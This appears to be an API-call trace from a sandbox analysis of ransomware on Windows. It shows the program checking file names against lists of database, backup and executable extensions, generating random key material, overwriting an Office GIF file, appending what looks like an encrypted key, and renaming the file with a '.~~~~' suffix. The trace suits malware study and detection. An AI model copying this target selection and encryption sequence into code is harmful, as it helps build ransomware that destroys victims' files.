	[0142.963] lstrlenW (lpString=".NDF") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".NDF") returned 0x0
	[0142.963] lstrlenW (lpString=".dat") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dat") returned 0x0
	[0142.963] lstrlenW (lpString=".DBS") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DBS") returned 0x0
	[0142.963] lstrlenW (lpString=".CKP") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".CKP") returned 0x0
	[0142.963] lstrlenW (lpString=".edb") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".edb") returned 0x0
	[0142.963] lstrlenW (lpString=".PST") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".PST") returned 0x0
	[0142.963] lstrlenW (lpString=".dbf") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dbf") returned 0x0
	[0142.963] lstrlenW (lpString=".SQL") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".SQL") returned 0x0
	[0142.963] lstrlenW (lpString=".pst") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".pst") returned 0x0
	[0142.963] lstrlenW (lpString=".dbv") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dbv") returned 0x0
	[0142.963] lstrlenW (lpString=".SDF") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".SDF") returned 0x0
	[0142.963] lstrlenW (lpString=".dtxs") returned 5
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.963] lstrlenW (lpString=".db3") returned 4
	[0142.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".db3") returned 0x0
	[0142.964] lstrlenW (lpString=".OST") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".OST") returned 0x0
	[0142.964] lstrlenW (lpString=".dbx") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dbx") returned 0x0
	[0142.964] lstrlenW (lpString=".DB3") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DB3") returned 0x0
	[0142.964] lstrlenW (lpString=".DAT") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DAT") returned 0x0
	[0142.964] lstrlenW (lpString=".VHDX") returned 5
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.964] lstrlenW (lpString=".ndf") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".ndf") returned 0x0
	[0142.964] lstrlenW (lpString=".DB") returned 3
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DB") returned 0x0
	[0142.964] lstrlenW (lpString=".sql") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".sql") returned 0x0
	[0142.964] lstrlenW (lpString=".MYD") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".MYD") returned 0x0
	[0142.964] lstrlenW (lpString=".DBT") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DBT") returned 0x0
	[0142.964] lstrlenW (lpString=".ACCDB") returned 6
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.964] lstrlenW (lpString=".fdb") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".fdb") returned 0x0
	[0142.964] lstrlenW (lpString=".bak") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".bak") returned 0x0
	[0142.964] lstrlenW (lpString=".myd") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".myd") returned 0x0
	[0142.964] lstrlenW (lpString=".DTXS") returned 5
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.964] lstrlenW (lpString=".ckp") returned 4
	[0142.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".ckp") returned 0x0
	[0142.964] lstrlenW (lpString=".dbt") returned 4
	[0142.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".dbt") returned 0x0
	[0142.965] lstrlenW (lpString=".db") returned 3
	[0142.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".db") returned 0x0
	[0142.965] lstrlenW (lpString=".TXT") returned 4
	[0142.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".TXT") returned 0x0
	[0142.965] lstrlenW (lpString=".MDF") returned 4
	[0142.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".MDF") returned 0x0
	[0142.965] lstrlenW (lpString=".bdb") returned 4
	[0142.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".bdb") returned 0x0
	[0142.965] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.965] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.966] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.966] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.966] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26295643604) returned 1
	[0142.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe9d9370, dwHighDateTime=0x1d60e1e)) 
	[0142.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe3d0
	[0142.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe3d0 | out: hHeap=0x300000) returned 1
	[0142.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aab00
	[0142.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aab00 | out: hHeap=0x300000) returned 1
	[0142.990] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.990] GetLastError () returned 0x0
	[0142.990] GetLastError () returned 0x0
	[0142.991] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.991] GetLastError () returned 0x0
	[0142.991] GetLastError () returned 0x0
	[0142.991] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x9a60, lpOverlapped=0x0) returned 1
	[0142.994] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff65a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.994] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x9a60, lpOverlapped=0x0) returned 1
	[0142.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.994] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.994] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.994] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.994] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.995] CloseHandle (hObject=0x104) returned 1
	[0142.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aab00
	[0142.999] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif.~~~~")) returned 1
	[0143.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aab00 | out: hHeap=0x300000) returned 1
	[0143.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.001] GetLastError () returned 0x0
	[0143.002] RtlWakeConditionVariable () returned 0x0
	[0143.002] GetCurrentThreadId () returned 0x9cc
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".scr") returned 0x0
	[0143.002] lstrlenW (lpString=".cmd") returned 4
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".cmd") returned 0x0
	[0143.002] lstrlenW (lpString=".dll") returned 4
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dll") returned 0x0
	[0143.002] lstrlenW (lpString=".bat") returned 4
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".bat") returned 0x0
	[0143.002] lstrlenW (lpString=".cpl") returned 4
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".cpl") returned 0x0
	[0143.002] lstrlenW (lpString=".sys") returned 4
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".sys") returned 0x0
	[0143.002] lstrlenW (lpString=".msc") returned 4
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".msc") returned 0x0
	[0143.002] lstrlenW (lpString=".com") returned 4
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".com") returned 0x0
	[0143.002] lstrlenW (lpString=".lnk") returned 4
	[0143.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".lnk") returned 0x0
	[0143.002] lstrlenW (lpString=".msp") returned 4
	[0143.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".msp") returned 0x0
	[0143.003] lstrlenW (lpString=".pif") returned 4
	[0143.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".pif") returned 0x0
	[0143.003] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.005] lstrlenW (lpString=".sqb") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".sqb") returned 0x0
	[0143.005] lstrlenW (lpString=".ost") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".ost") returned 0x0
	[0143.005] lstrlenW (lpString=".txt") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".txt") returned 0x0
	[0143.005] lstrlenW (lpString=".mdt") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".mdt") returned 0x0
	[0143.005] lstrlenW (lpString=".BDB") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".BDB") returned 0x0
	[0143.005] lstrlenW (lpString=".eql") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".eql") returned 0x0
	[0143.005] lstrlenW (lpString=".DBF") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DBF") returned 0x0
	[0143.005] lstrlenW (lpString=".EQL") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".EQL") returned 0x0
	[0143.005] lstrlenW (lpString=".FDB") returned 4
	[0143.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".FDB") returned 0x0
	[0143.005] lstrlenW (lpString=".EDB") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".EDB") returned 0x0
	[0143.006] lstrlenW (lpString=".DACPAC") returned 7
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.006] lstrlenW (lpString=".VHD") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".VHD") returned 0x0
	[0143.006] lstrlenW (lpString=".DBV") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DBV") returned 0x0
	[0143.006] lstrlenW (lpString=".dacpac") returned 7
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.006] lstrlenW (lpString=".sdf") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".sdf") returned 0x0
	[0143.006] lstrlenW (lpString=".accdb") returned 6
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".accdb") returned 0x0
	[0143.006] lstrlenW (lpString=".DBX") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DBX") returned 0x0
	[0143.006] lstrlenW (lpString=".MDT") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".MDT") returned 0x0
	[0143.006] lstrlenW (lpString=".SQB") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".SQB") returned 0x0
	[0143.006] lstrlenW (lpString=".vhd") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".vhd") returned 0x0
	[0143.006] lstrlenW (lpString=".bac") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".bac") returned 0x0
	[0143.006] lstrlenW (lpString=".mdf") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".mdf") returned 0x0
	[0143.006] lstrlenW (lpString=".BAK") returned 4
	[0143.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".BAK") returned 0x0
	[0143.007] lstrlenW (lpString=".BAC") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".BAC") returned 0x0
	[0143.007] lstrlenW (lpString=".dbs") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dbs") returned 0x0
	[0143.007] lstrlenW (lpString=".vhdx") returned 5
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.007] lstrlenW (lpString=".NDF") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".NDF") returned 0x0
	[0143.007] lstrlenW (lpString=".dat") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dat") returned 0x0
	[0143.007] lstrlenW (lpString=".DBS") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DBS") returned 0x0
	[0143.007] lstrlenW (lpString=".CKP") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".CKP") returned 0x0
	[0143.007] lstrlenW (lpString=".edb") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".edb") returned 0x0
	[0143.007] lstrlenW (lpString=".PST") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".PST") returned 0x0
	[0143.007] lstrlenW (lpString=".dbf") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dbf") returned 0x0
	[0143.007] lstrlenW (lpString=".SQL") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".SQL") returned 0x0
	[0143.007] lstrlenW (lpString=".pst") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".pst") returned 0x0
	[0143.007] lstrlenW (lpString=".dbv") returned 4
	[0143.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dbv") returned 0x0
	[0143.008] lstrlenW (lpString=".SDF") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".SDF") returned 0x0
	[0143.008] lstrlenW (lpString=".dtxs") returned 5
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.008] lstrlenW (lpString=".db3") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".db3") returned 0x0
	[0143.008] lstrlenW (lpString=".OST") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".OST") returned 0x0
	[0143.008] lstrlenW (lpString=".dbx") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".dbx") returned 0x0
	[0143.008] lstrlenW (lpString=".DB3") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DB3") returned 0x0
	[0143.008] lstrlenW (lpString=".DAT") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".DAT") returned 0x0
	[0143.008] lstrlenW (lpString=".VHDX") returned 5
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.008] lstrlenW (lpString=".ndf") returned 4
	[0143.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF", lpSrch=".ndf") returned 0x0
